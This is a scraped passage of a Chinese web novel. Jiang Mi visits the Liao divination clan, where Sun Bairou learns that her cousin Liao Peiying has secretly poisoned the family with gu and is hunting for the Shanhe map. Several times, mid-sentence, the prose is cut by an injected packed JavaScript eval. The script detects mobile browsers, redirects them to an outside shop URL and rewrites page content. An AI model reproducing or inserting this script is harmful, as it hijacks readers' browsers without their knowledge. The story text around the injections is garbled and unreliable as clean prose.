廖家祖上便是巫族之后,以占术闻名,位列十三世家之一。 江弥在百崃打听的和大术院几乎无差。 廖家在数年前突然封闭,据说是廖家祖母占卜出大凶,直到这两年才恢复与外界的来往。 而近日传得沸沸扬扬的,是廖家同邵家联姻的事。 “那邵家儿郎俊的哟!喏,这不是来了。” 江弥顺着买菜大娘指的方向望去。 身穿青色锦衣的邵平单手背后,穿过街道走来,抬首看了眼金色门匾走进店铺,他身后跟着两名蓝衣修士,不过片刻三人消失在红色大门后。 大娘说:“这邵家儿郎隔三差五地就去首饰店糕点铺子,还有人看到他去酒楼打包限量的佳肴,说是那位出嫁的廖家姑娘心情不好,在哄人呢!” 江弥:“她为什么心情不好?” 大娘抱着菜篮子说:“好好的姑娘家,在外漂泊六七年呢!要是家境贫寒找不到还好,但廖家可是百崃的占卜大家,叫个小姑娘在外流浪这么多年,怨廖家不派人早点接她回去哩。” 说完大娘目光狐疑:“你问这些做什么?” 见江弥还在看着那金银阁,压低声音问:“你同这邵家儿郎有渊源?” 江弥:“……我来见朋友。” 大娘见没八卦摇摇头不跟她说,去其他地方买菜。 江弥回客栈路上想起邵平和廖珮缨曾见过面,那时廖珮缨应该就知道了孙柏柔的身份,这和这场联姻有关吗? 廖家占术在修真界闻名,很多世家中人千里迢迢跑来百崃只为得到廖家的一次占卜,因此廖家在修真界与各家关系都不差,毕竟,不管是修行还是寻人问事,谁也不知道未来会不会求到廖家头上。 只是廖家行事低调,除了十三世家必要的出席,很少离开百崃。 君慕之在客栈房间等她,江弥回来将打听到的同他说明,随即若有所思。 君慕之:“世家联姻不在少数,君氏为了巩固关系长久发展也会选择联姻,但廖家女孩联姻的极少。” 江弥被他的话吸引,君慕之继续道:“廖家占术对资质和灵性要求很高,好资质难得,灵性更难求。古往今来的例子里,女性比男性更容易出现高灵性,所以廖家极少嫁女,大都是入赘。对世家而言,入赘有损家族颜面,世家子弟通常不会入赘。” 在启蒙院时教习就常常感叹孙柏柔灵性高,即便长久没回廖家不受重视,也不会被用来联姻。 江弥拧眉:“这场联姻有问题。” · 廖宅僻静的一处房间里。 躺在床上的中年男人抬手拂去递过来的汤药,瓷碗砸在地面碎成数块,热汤洒溅,孙柏柔早有准备地捏术隔绝,避免烫伤。 中年男人面色枯瘦,只一个动作便让他喘息不已,缓过来后他朝蹲下身收拾残局的孙柏柔道:“你滚,从哪里来的你滚回那里去!你既然姓孙,就别踏进廖家大门!” 类似的话从她回到廖家便没断过,孙柏柔从最开始的伤心不解到现在的充耳不闻。 她无视男人的怒火,将房间收拾干净后道:“你身体亏空得厉害,不能不吃药,你若不喜欢喝,我就做成药丸让你吞服。” 中年男人怒不可遏:“你听不懂人话?我让你滚!” 但他气虚体弱,就是发火也做不来气势,骂完躺在床上剧烈喘息,等他气息平静下来,孙柏柔已经离开。 孙柏柔穿过长长的檐廊,处理掉碎碗重新回到厨房,炉子上的火还没熄灭,她添加木炭取来药罐重新熬药。 身旁是走来走去处理食材准备做饭的廖家仆人,很快响起炒菜声和大厨的吩咐。 等孙柏柔将药捏成丸子送去房间,有仆人跑来让她去前厅见客,她放下药丸和水,对床上男人道:“你不吃我会熬到你吃为止,药是我亲自配的,你吃没吃我能看出来。” 转身时顿了下,孙柏柔说:“我答应嫁去邵家,过不了多久就会离开,你不要和身体过不去。” 屋里光线晦暗,弥漫着一股难闻的药味。 廖愈在女孩走后躺在床上盯着头顶,紧握的手恨恨地锤了下床板,眼里浮现出痛苦神色。 带路的仆人偷偷觑了眼孙柏柔,他是真觉得这位刚认回不久的二小姐脾气好。 二老爷病入膏肓,很难说还有几日可活,二小姐好日子还没享受到就天天在病床前贴心伺候,开药煮药都是她一人,偏偏二老爷还经常发火。 这么想着,他低声提醒:“邵大公子就在前厅,二小姐要不要换一身衣物再去?” 二小姐大半日都在熬药,衣物头发沾了药味,虽不至于难闻,但总归是不太好的。 “不必。”孙柏柔问:“堂姐今日可在府里?” 仆人:“大小姐也在前厅。” 孙柏柔点点头没再说话。 廖家经常有人来拜访,以往这些都是廖家大老爷出面,重要的客人则是廖家祖母接待,如今都由廖珮缨接手,孙柏柔只在邵大公子拜访时会参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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来前她想了很多不好的场景,比如孙柏柔被关起来无法与外界联系,或者逼迫她嫁给邵家,她甚至想着要不先夜访廖家看看情况。 但刚才孙柏柔的样子不像是被人强迫威胁,和邵平说话时表现也很正常。 江弥松了口气:“情况应该没有我想的那么糟。” 江弥没有等多久,孙柏柔推开门时江弥抬眼望来。 上次的离别称不上愉快,孙柏柔怀着对江弥的内疚离开,江弥虽然知道罪魁祸首是滕宝,心中还是会生出晦暗和担忧。 两人对视着,一时谁也没说话。 孙柏柔忽然扑哧笑出声:“你要这么一直看着我吗?” 江弥也笑了,起身过来抱住她:“你还好吗?” 孙柏柔拨弄她的小卷毛:“嗯,那些事情回想起来像是一场梦,还好,这只是一场梦。” 江弥知道她是说滕宝的事,她不想细说,江弥也不问,她退后点认真问:“和邵家的婚约,你是自愿的吗?” 孙柏柔说:“是我自愿的。” 128. 128 江弥认真观察她神色,孙柏柔没有说谎,她是真的自愿嫁入邵家,江弥忍不住怀疑这是不是滕宝死后好感值扭曲性格生出的后遗症。 孙柏柔没多解释,朝几步外的君慕之点头打招呼。 两个女孩子许久未见,有许多话说,孙柏柔对君慕之不陌生,但还没法神色如常地当着他的面和江弥叙旧。 她看了眼四周,问:“一间?” 江弥啊了声,反应过来她和君慕之住一间客房,原来问他们什么关系的用意是在这里。 她倒是对这个安排没什么异议,君慕之现在的情况确实和她在一起比较好。 江弥很坦然接受两人共处一室,和他简单说了下便随孙柏柔去她房间。 孙柏柔在小术院联赛后离开得猝不及防,周三好歹还见过面,崔大对此颇有微词。 江弥说崔大的抱怨和不满,说周三的疑惑,以及小术院发生的事。 孙柏柔安静地听着,脑海里不自觉浮现崔大大声嚷嚷和周三低眉沉吟的样子,忍不住露出怀念的笑。 从前在一起吵吵嚷嚷时不觉得,离开后才发现大家都在的日子才是最开心的,连总是惹人生气的崔大也不觉得烦了。 沉默了下,江弥说:“滕宝是我杀的。” 孙柏柔:“我想到了。” 江弥有些讶异。 孙柏柔笑了下:“他死时我感受到了。” “刚回廖家时不太好受,总是会想他,大脑和心里叫嚣要去找他,经常浑浑噩噩,不像自己,”她说得很慢,像在回忆雨过天晴后的潮湿,“大脑是在某一刻突然清醒的,像是从梦境回归现实,身处梦境时并不觉得,但真实降临的那刻,梦中的一切就显得虚假。” 孙柏柔问:“那是异世者的能力吗?” 江弥点头。 孙柏柔静静看着她:“被滕宝利用是很难过,但更伤心的是,那个时候我说了很多不好的话。” 她伸手去触碰江弥的胸口,隔着轻软的布料,她难以想象当时江弥是怎么将她从四方坛地底带出来的。 “我还伤了你。” 孙柏柔知晓江弥有多重情,她只是看着冷冷淡淡的,却比他们都重视彼此之间的情谊。 李二的逝去他们都很伤心,但崔大选择头也不回地继续前进,周三顾及他们心情也只是私下缅怀,她也因各种繁杂事情只偶尔想起有李二在的时光。 独独只有江弥。 只有她陷入李二的死无法挣脱。 曾经周三携带星辰之力靠近她都会产生应激反应,却在自己刺向她毫无防备。 孙柏柔见过李二死后江弥的变化,也就更难原谅自己伤害过她。 江弥看着她难过自责,抬手将停在胸前的手放在衣襟处,眨眼问她:“要看看吗?” 孙柏柔一怔,忍不住笑了:“你和君少主在一起也这样?” 江弥:“我不是这种人。” 孙柏柔收回手,顺便戳了下她肩膀,严谨道:“你从前不是。” 江弥觉得她说的有道理,毕竟她现在和君慕之关系不一般,于是和好友分享道:“我和君慕之在一起了。” 孙柏柔奇怪看她:“你们不是早就在一起了?” 哦,对,除她和君慕之以外的人都这么认为。 江弥见气氛缓和下来,问她:“回廖家前你一直想见你爹,见到了吗?” 孙柏柔:“他身体不好,得好好养着。” 江弥又问了些孙柏柔在廖家的事,她答得很平常,包括和邵平的相处,也似乎没有特别。 此后两天,江弥在孙柏柔的带领下观赏了廖家。 廖府很大,风格已清雅为主,山水草木、住宅坐向、物件摆放都有讲究,廖家有个分支专门研究堪舆术,廖府住宅便是他们的杰作。 “我还是回廖家才听说望空占,就是望空随意起一个时辰,根据这个时辰便可寻断,还有择日学,真言,直接用树叶竹子摇课,”孙柏柔感叹,“这些书海楼都没有,原来这才是世家的底蕴。” 廖府奇人多,占卜只是廖家最拿得出手的,却不是唯一拿得出手的。 江弥也去拜访了廖愈,但对方刚吃过药陷入沉睡,江弥也就没和他说上话。 孙柏柔还需要为廖愈抓药熬药,不会时时陪她。 江弥回到客房时神色变得沉重。 看上去一切都很正常,可就是这样才不正常。 没想到当天晚上就发生了意外。 君慕之不在廖家提供的客房睡觉,夜间江弥休息时他会凝神打坐整晚。 开始江弥还觉得这样不太好,反正客房的床很大,多睡一个人也没什么,但君慕之坚持说这样更适合他,江弥就没再劝。 今夜江弥被忽然的声响惊醒,醒来时发现君慕之不太对,捏出火术下床查看。 君慕之面色苍白,布满黑纹的额头满是冷汗,单手撑在桌面想起来,却失手打翻茶杯。 “你怎么样?”江弥扶他起来,压低声音问:“这次怎么发作得这样快?” 阿玲在他身边待了段时间,按理说是能帮他净化秽气的,即便效果不那么明显,再次发作也该在一两个月后。 江弥将人带到床边躺下,揭开被褥给他盖上,看他蹙眉忍受痛楚的样子,不自觉跟着皱眉。 廖家情况还没弄清,君慕之的弱点不能在这里暴露。 “君慕之,你醒醒,”江弥坐在床边,拨开被汗水粘在脸上的长发,她的手掌贴在他脸上将他摇醒,“你带凝香丸了是不是?放在哪里了?” 君慕之闭着眼,别开脸不愿回答这个问题,江弥低头额抵着额不让他逃避:“你不说我搜身了。” 君慕之不言,江弥伸手在他腰封衣襟寻找,君慕之欲抬手阻拦,刚抬起就被江弥捏着轻易地按住床上,此时的他虚弱痛楚,压根无法阻止江弥的动作。 但江弥寻遍他全身,连发丝衣衫也没放过,还是没找到凝香丸。 她直起身还要询问,看到君慕之闭目轻颤的眼睫时顿了下,刚才她只顾着搜身,也没管会不会冒犯到他。 这会儿君慕之躺在床上不愿睁眼,衣衫凌乱,发丝在挣扎间散乱得床上到处都是,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177812|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缕墨发如同水流般从床沿流到地面。 “你……” 江弥心虚地吹着额发,拨弄着头发重新坐回床边,将流出床沿的头发整理好,她小声说:“你不愿意吃凝香丸的话,我只好用更过分的方式了。” 君慕之闭眼没动,江弥低头在他耳边低语几句,然后说:“选一个,要么说出凝香丸在哪里,要么我按照我的方法做。” 那张清冷俊美的脸只剩惨白,江弥的低语让他垂下的黑睫猛地颤了下,唇线抿直,没说话。 江弥:“你不说凝香丸在哪,说明接受我的方法。” 等了会儿他没反对,江弥揭开被褥钻进去,伸手解开两人腰封,布料摩挲声陆续响起。 君慕之握紧的手几乎痉挛,青筋浮现,抬了几次,还是没有推开江弥。 江弥躺好后按了下快跳的心脏,伸手抱住君慕之,肌肤相触的瞬间两人同时僵住,江弥眨了下眼,继续上前,找个舒服的姿势将下巴搁在他肩颈处。 君慕之几乎任她为所欲为。 江弥拿手指梳理他的发以免压到:“好点吗?” 他的答案含蓄得不行,只是轻轻动了动脸颊,和她的触碰了下。 有用就好。 江弥抬手将烛火熄灭。 黑暗笼罩下其他触觉越发鲜明,江弥尽量放松,心中几度感慨,她可从没想过自己有一天会自愿做药包。 这种环境真的很容易想歪,江弥在脑海背一千三百三十九颗星辰的名字,背完又强迫自己思考廖家的不对劲,接着从头开始整理所有有关天涯路的线索。 直到后半夜江弥有了睡觉的欲望,脑袋昏沉时耳边忽然传来悲伤低哑的话语—— “凝香丸是我母亲的血肉炼制的。” 江弥瞬间清醒,抬首看他。 但君慕之不再开口。 她曾想过,若兰姨和君夫人相伴相生,兰姨逝去后君夫人没了溪兰也会承受秽气的折磨,如果君慕之能靠凝香丸压制秽气,君夫人又为何会死去。 原来凝香丸是用魅制成的。 山主曾用夜游珠读取她的记忆,记忆里君夫人询问未来的君慕之过得好不好,101神的回答是,他有人陪了。 那时还不明白这话何意,此时回想却发觉暗藏深意。 君慕之的体质会不受控制地吸收秽气,这注定他只能孤身一人,当101神回答他有人陪时,是在说未来的某天,君慕之找到秽气的解决办法,或,找到溪兰陪伴终身。 后来兰姨逝去,君夫人为了帮君慕之撑到这个未来,投身化作凝香丸。 君慕之一直都知道,他是汲取他娘生命才活下来的。 答案竟是这样伟大,又这样残忍。 江弥想,至少这句101神没说错,君慕之有人陪了。 江弥想安慰,又觉得君慕之不需要她安慰,思索很久,她动了下,脸颊轻轻蹭他脖颈皮肤。 肌肤相触带来些许颤栗和暖意。 君慕之轻闭的眼眸睁开,强行压制的贪念浮出水面,喉结滚动,抬起的手最终落在女孩后颈。 129. 129 翌日江弥醒来,衣衫平整地放在床前,她穿衣起身,君慕之正在看墙壁上的八卦象。 江弥看他神色正常便也去看墙上的八卦象,她不擅长八卦奇门,只在启蒙院时学过基础,没看出什么。 但昨日君慕之发病,她不敢在廖家多做停留。 “我们今天离开廖家,”江弥见他望来继续说,“先找个地方住下来,婚礼在半个月后,还有时间。” 随后江弥同孙柏柔廖珮缨告别,在百崃寻到一处环境幽静的院落。 院落建在半山腰,四周都是山溪树林,鲜有人来,据说是某户人家建来训练自家护卫用的,周围还开辟出演练的空地和山石场。 江弥操控水术清洗屋子,出门时看到君慕之在门前蹲着拔草,雪白衣摆落在地上,长发粘上草屑。 她倚在门边歪头看了会儿,折起衣袖也去溪旁打来水亲自洗家具。 · 孙柏柔端着碎碗将压抑的咳嗽声关在屋内,候在一旁的仆人忍不住说:“二小姐,这些不用您亲自来,有需要吩咐我们就是,二老爷他之前也不这样,许是不想您这么操劳……” 他说到最后语气很虚,毕竟明眼人都能看出二老爷不待见二小姐。 孙柏柔笑了下:“这些都是我该做的。” 仆人心道二小姐即便经历了磨难还是这么心善。 孙柏柔处理掉碎碗,将身上沾了秽物的衣裙换下,坐在桌前撑着额思索廖愈的脉象。 是她没有见过的。 廖愈的身体很差,早年婺城孙家被小混沌吞没,他为寻找孙柏柔和她娘下落,损耗修为和精血为她们占卜,得知孙家无一人存活也不放弃,导致修为尽废,身体亏空,多年来只能用各种汤药吊着。 孙柏柔刚回廖家时心神浑噩,很多事情在骤然清醒后才逐渐发觉。 廖愈体内有股奇怪的气息,非毒也非术,当她把出脉象开口询问时得到的是廖愈的破口大骂,随后他的态度越发恶劣,每次都要把她骂走才行。 然后便是廖家祖母帮她定下的婚事。 像是迫不及待将她赶出廖家一样。 她很难不多想。 夜色逐渐沉寂,明月升至头顶时孙柏柔换了一身深色衣物,轻轻推开窗跃出,隐身在廖愈院落的大树上。 目光在明亮的圆月上定格一瞬,她记得上个月也是这个时间,廖愈体内气息激亢狂躁,第二日便恢复如常。 孙柏柔气息沉敛,隐入树叶间。 不知过了多久,昏黄朦胧的灯火由远及近,是廖府仆人提着灯笼走来,另只手提着食盒,他进入廖愈屋内,没多久提着灯笼和食盒走出,沿着檐廊远去。 孙柏柔将自己隐入黑暗,远远跟在那人身后。 晕黄的灯光在廖府移动,很快敲开另一扇门,那是三姑母的院落,灯笼的光依次进入几个房间,三姑母和三姑父,三妹,七弟。 灯光离开继续前行,孙柏柔看着四叔院落的方向,她本以为只有廖愈不对,现在看来情况比她预想的要严重。 孙柏柔往廖愈的院落去,她得先确定那是什么。 “二妹。” 身后忽然响起温柔轻唤声。 孙柏柔脊背一僵,转过身时神色恢复平静,看着廖珮缨从阴影走入月光下,点头道:“堂姐,好巧。” 廖珮缨神色耐人寻味:“不巧,我来寻二妹。” 孙柏柔:“堂姐找我什么事?” 廖珮缨唇角弯起一抹温柔的笑:“二叔方才吐血,我想二妹应该很着急。” 孙柏柔神色冰冷,转身欲走,廖珮缨忽而说:“二妹,有些东西不可探究。” 孙柏柔顿住,抬眸看她:“堂姐指什么?” 廖珮缨但笑不语。 孙柏柔不再停留,捏术速影至廖愈房间。 她以为会看到廖愈气息奄奄满身血污,但推门进入后廖愈只是和往常一样平静地躺在床上,气息平顺,没有异样。 孙柏柔沉眉。 她在警告,不,是威胁。 · 廖珮缨含笑看着孙柏柔匆匆离去,缓步走在廖府,偶尔遇到仆人低眉喊大小姐,她回以微笑。 四周环境逐渐幽寂,她站在一座厚重的大门前,守门的仆人推门让她入内。 和其他雅静小院不同,这座建筑充满时间的厚重感。 正门对面的八个粗壮石柱屹立在平旷的石台上,时间和风雨在石料上侵蚀出无数斑驳痕迹。 绕过祭台直行,每隔九米便会出现九层台阶,九次之后是一座立于高台的巨大宫殿,红漆剥落的木柱撑起宫殿内外,鎏金瓦片在月下生辉。 廖珮缨推开沉厚的殿门,吱呀声响后,明亮的光芒从里面泄出,那是无数用于推演的符文和流动的线条在大殿内散发微光,聚在一起亮如白昼。 光芒中央端坐着一位老太太。 老人华服庄严,银白头发一丝不苟,被光芒照亮的双目遮不住疲惫,但她仍旧挺直端坐。 隔段时间就会有一枚发光的符文从她指尖溢出,和运转的符文碰撞演变,使原本平缓有序的局势陷入混乱,许久后变化平息,稳定成新的局势。 廖珮缨穿过发光的符文线条站在老人身旁,目光在相互牵引碰撞的符文上停留:“祖母,您还是不愿说出山河图的下落吗?” 廖家祖母神色沉寂,没答。 廖珮缨有些可惜道:“既然如此,我就只能将二妹也留在廖家了。” 廖家祖母抬眼劝她:“珮缨,不要再继续下去。” “为何?”廖珮缨挑眉轻笑:“事到如今,我不觉得我还有退路,毕竟整个廖家都在恨我呢。倒是这个二妹,我是想做一个好姐姐,顺从你的意思将她送出廖家,她那个朋友让我有点头疼。但她本人似乎并不想。” “与我而言,山河图能找到最好,不能找到只是有些可惜,若二妹能将东西送来,自然再好不过。” “你在违逆天意,”廖家祖母声音苍老得厉害,“你既已知晓天启内容,就不该再和乐正氏合作,不管你是不是珮缨,收手,孩子,不要再错下去了。” “你果然知道啊。”廖珮缨低眉,“你知道却从未揭穿,就因为你所谓的天启?我可记得廖家信的是神。” 廖家祖母沉默很久,悲悯叹息:“天地早已变化,神的时代已经过去,你们是这个时代的救世主,所有人都错了,他们不该这么对你们。” 廖珮缨轻拂鬓发:“这话你对刚来的我说或许有用,但晚了,你所谓的天意也好,神也好,都不重要,我只信我自己。” 不待廖家祖母继续劝诫,她将精致小巧的木盒扔到地上:“我是来送药,不是听你讲道理的。你该考虑的是,你这么拒绝配合,欧家下个月是否还会提供解药。你手里的可不是你一人的性命,而是整个廖家。” 说罢转身离开。 明润光辉被关在门后,她踏着月华在台阶慢行。 她是幸运的,也是不幸的。 她穿越的女孩有严格的家教,娘亲严苛到让女孩产生阴影,严重到失语畏字,最重崩溃爆发离家出走,遭遇混沌后回来的是她,拥有成熟心智的她完美达标,反倒成了她娘的骄傲。 没有人怀疑她的身份。 但不幸的是,廖家是占卜世家,在这个事事都会摇课任何异常都要解析的家族,她不敢有丝毫错处。 可所有竭力维持的平静在看到廖家祖母眼睛的那刻被轰然打破。 在这个睿智的老人面前,廖珮缨知道,有些事避无可避,所以她先一步出手,寻求乐正氏的帮助。 · 孙柏柔再三确认,廖愈身上那股躁动的气息确实平静下来了。 廖愈睁眼时看到孙柏柔坐在床前,想像以往那样用恶言恶语将她骂走。 孙柏柔安静听他怒骂,骂到一半缓气时问他:“夜间有家仆给你送药,是什么药?” 廖愈没遮掩住惊怔,随即怒道:“不管什么药都比你的好,怎么,嫌我死得不够快连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188978|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吃什么药都要管?你刚回来就将自己当一家之主,孙长渺就是这么教你的?” “你不愿说我就去问堂姐,”孙柏柔一句话让廖愈瞬间哑然,她认真说,“我知道你想让我远离廖家,但我不可能在知道廖家处于危难的情况下什么都不做地离开。” 廖愈神情变幻,像是要继续发火,又像是怕她真的去找廖珮缨。 孙柏柔握住他枯瘦的手:“这段时间我一直在想,娘让我不要回廖家,是不是她在那时就知道廖家出问题了,娘是普通人,她知道的必然是爹告诉她的。” “爹,当年你们争吵娘怒回孙家,是你的意思吗?” 廖愈甩开她的手,翻过身不看她:“你在胡说八道什么?你娘就是肚子不争气被我嫌弃……” “是蛊吗?”孙柏柔直接打断他,看他脊背僵直继续说:“你的脉象没有中毒之相,也没有行气异常,但有一道不易察觉的气息,只在月圆之夜躁动不安。” 廖愈沉寂不言。 孙柏柔:“是堂姐做的?她控制廖家想做什么?” “你不要说了,”廖愈声音压低,身体因长期的压抑克制不住地颤抖,“你为什么要回来?你就不能老老实实离开这里?” 孙柏柔看着这个被病痛折磨得没形的男人。 他枯瘦,垂暮,病入膏肓。 这是她的父亲。 她曾在年幼时无数次幻象接她离开启蒙院的父亲,也是一遍遍施展占术寻找她和母亲的父亲。 孙柏柔故作轻松道:“我总要看看我爹有没有如他所愿的生出儿子。” · 江弥撑着脸颊看君慕之放下筷子,目光扫了眼几乎没动的米饭,指着一旁精致漂亮的点心:“再吃两口。” 君慕之垂眸当做没听到。 江弥不勉强,伸手将切好的瓜果推到他跟前:“那吃片瓜吧,很甜的。” 君慕之起身欲走,被江弥拉住衣袖,他侧目看门外石头树林也不看江弥。 江弥很有耐心:“你喜欢吃什么?” 君慕之不答,江弥就捏着他的袖子不让走,好半晌才等来君慕之的“都行”。 江弥:“……” 曾经她以为君慕之不吃外面的东西是因为谨慎,毕竟通过食物下药是暗杀的常规操作。 万万没想到,他只是挑食。 以前这朵娇花没名没主,是挑食还是防止暗杀都和她没关系,她也没心思去关心。 但现在这朵娇花变成她的,她得好好养着。 江弥说:“你不知道的话下次我们一起尝试,总能找到你喜欢的。” 君慕之轻应了声,然后准备走,江弥还是没松手,还将人往自己这边扯了扯,顺势牵住他的手:“但这三样你至少得吃一样,昨天我都被你硌疼了。” 君慕之手指一僵,沉默许久,还是坐了下来,低垂的目光在雪白米饭上停顿三秒,吃了三口。 江弥:“再吃两口。” 君慕之眼睫忽然掀起,望来的目光情绪强烈。 大概是没料到世上竟有如此险恶用心。 江弥松口:“那一口。” 君慕之垂眸片刻,忽然放下筷子,朝她道:“君氏曾因我的病派人去廖家寻卦,他们给出的提示是天雪峰。” 看在他这么努力转移话题的份上,江弥也不勉强他了,转而思索这句话有什么重要信息。 天雪峰,他们就是在天雪峰上相遇的。 随即眉头皱起,她问:“廖家知道你的病情?” 君慕之眉眼舒展:“他们能给出正确提示,大致能猜出几分。” 江弥想起离开廖家时他观察的八卦象,如果每个房间都有的话,可操作性确实很大。 她问:“你从八卦象看出什么了?” 君慕之眼眸含笑,江弥不知道他是因为自己和他对上频道高兴还是不用吃饭逃过一劫开心,就听他说:“八卦象有更改的痕迹。” 果然,君慕之的发病是人为。 130. 130 孙柏柔看着躺在床上的沉默男人,喊了声:“爹。” 廖愈看着天花板,许久才开口:“有一日你从廖家课堂回来,说你堂姐回来后能说话识字,恢复正常了,但大伯母对她更严苛,你觉得她可怜想将最喜欢的耳坠送她,但跑出去时被门槛绊倒,你被耳坠碎玉割伤双手,流了很多血。” 孙柏柔回忆了会儿说:“我不记得了。” “这事给我感觉不好,”修占术的第六感格外敏感,廖愈说,“当天下午寻来三卦,全是避世卦,但蓍不过三,我心中存疑却也没法再占。几日后我寻你祖母,她给出建议,避灾六年。” “我同渺娘说了这事,为了你的安危,我们合计一出逼她回娘家的戏。原计划是若一年无事发生,我就去婺城将你们接回来。” 孙柏柔意识到接下来是一切的关键,嗓音干涩:“发生了什么?” 廖愈手指忍不住紧握:“你祖母忽然召集你叔伯,说有大事商议……” 廖家上下刚被黑夜笼罩,四处走动说话声逐渐减少。 屋内坐着几位掌权的主要人物,首位的老人在询问声和议论声中闭目不言,直到老大带着一张刚挨过巴掌的脸匆匆跑来,在弟弟妹妹们的哄笑调侃中,老人缓缓睁开眼,神色庄重。 她的目光一一扫过这些已为父母的孩子,大儿子怯懦没主见,二儿子聪明不见锋芒,三女儿沉默内敛,四儿子圆滑知分寸,小女儿固执骄横,几人被她看得噤声。 老四出声询问:“娘,今日是为何事聚我们在此?” 廖家祖母:“近日我占来一卦,感知到天意。” 小五好奇问:“天意和神谕不是同个意思?” 老二笑道:“学艺不精是容易将两者弄混。” 小五怒目而视:“二哥,别以为我听不出你在笑话我。” 老大摸摸热辣的脸说:“这,我也分不清啊。” 老四笑着打圆场:“能清晰区分两者的只有占术大成者,我们都没资格,只有娘才能感知差异。” 老三不理会吵嚷的同胞们,抬眼询问:“娘感知的天意是什么?” 这话一出,屋内平静下来,都望向神色庄肃的老人。 廖家祖母道:“神,将终结在我们这个时代。” 这话一出,在场所有人哗然。 “娘会不会弄错了?” “那三位神可是经历上万年仍旧存续至今,怎么可能说终结就终结?” “不会再掀起一次大战吧?” “这种灾难人类再经不起第二次了。” 老二抬眼望向首位:“娘的意思是什么?” 廖家祖母叹道:“天启是传达意向,而非预知,你们如何想?” 廖家的祖上是巫族,虔诚信奉着神灵,廖家作为占术大家,所有子弟习占之初,最先学会的是祭仪和占仪,这是对天地神灵的虔诚笃信。 他们对神灵有着天然的崇高敬意,所以面临选神谕还是天意时,几乎不会犹豫地选前者。 廖愈回想起那天,坐在首位的老人没有阻止她的孩子们,只是沉默听着他们回首先祖的壮举。 老人似乎从那时开始显出老态。 “那天之后,你祖母不再提这事,其他人也没放在心上,只是某日欧家忽然冲进廖府,以廖家对乐正氏有不轨意图为由控制了所有人。” 廖愈声音低迷:“你大伯一家率先倒戈,你小姑性子烈,反抗后蛊毒发作而死,你祖母在祭台闭关不出。随后几年,廖家封闭,不与外界来往,你堂姐廖珮缨逐渐掌控廖家,后来才发现,蛊毒是你堂姐连同欧家人下的。” 孙柏柔沉思:“蛊毒作为禁术早被封禁,欧家如何知道禁术?” 廖愈:“这世间但凡记载在册,就没有乐正氏不知道的,欧家会禁术并不奇怪。” 孙柏柔冷眸道:“祖母说得没错,神确实该终结。” 廖愈看着意气十足的女儿,一时不知该喜还是悲,他的女儿即便不在他眼前也成长得很好,可廖家正处于是非中心,过于意气用事反倒易折,小五就是例子。 最终他叹道:“这种话,你在心里想就行。” 孙柏柔心中仍是不解:“堂姐联合欧家给廖家下蛊是为了什么?若是为了掌控廖家,堂姐那样优秀,十年后仍旧能做到,但和欧家合作无异于铤而走险,与虎谋皮。” “二妹这样看好我真是令人意外。” 孙柏柔心中一凛,飞出的八根蓍草随她转身的动作成攻击姿态,她看向端正走来的廖珮缨,沉声道:“堂姐的妄自菲薄也很令人意外。” 廖珮缨在她控制的蓍草上停顿一瞬,随即笑着问廖愈:“二叔,你山河图在何处?” 孙柏柔秀眉拧起,余光见廖愈神色茫然,便道:“我们不知道山河图在哪里。” 传闻山河图百无禁忌,是玉真娘子之物,用于占卜则不受任何外力影响,比如占寻神脉而不被反噬。 廖珮缨抬手拂了下鬓发:“祖母为了隐藏山河图的下落,将山河图送出去一年才提到天启,也真是煞费苦心。听闻二妹离开前二叔去见过祖母,那么二叔应该知道我在说什么。” 孙柏柔那时年幼,离开前的记忆全是爹娘吵架的场景,压根想不起什么山河图的事。 可廖愈脸色微变,显然猜出了什么。 “看来二叔记起来了。”廖珮缨无奈轻叹,“我是真不想回乐正氏那种变态的地方啊,但麻烦马上要来了,我只能告别这里了。” 孙柏柔压根听不懂她在说什么:“你不是和欧家合作,这和乐正氏有关?还有,什么麻烦要来了?” 廖珮缨轻笑:“欧家不过是群听话的狗,我怎么会和狗合作?至于麻烦,二妹带来的,自然需要二妹帮忙解决。” 廖愈神色大变,几乎是从床上跌下来,孙柏柔想上前去扶,被他一把扯走腰间皮袋扔向廖珮缨,他用尽全力将孙柏柔拉至身后。 这番动作让他喘息不止,他急切道:“只有这个,离开前你祖母只给了我这个,说希望伯柔在外也能学习廖家占术,你拿走,放过伯柔,她什么都不知道。” “爹……”孙柏柔刚开口就被廖愈颤抖的手死死摁住,他望向廖珮缨,声音几乎带着哀求:“她是你族妹,离家前经常心疼你被你娘严厉教导,还给你送吃的送她的心爱玩具,你放过她。” 孙柏柔眼中泪花几乎倾泻而出,她咬住口腔嫩肉将强硬的话止于唇齿间,用力拉起病弱男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 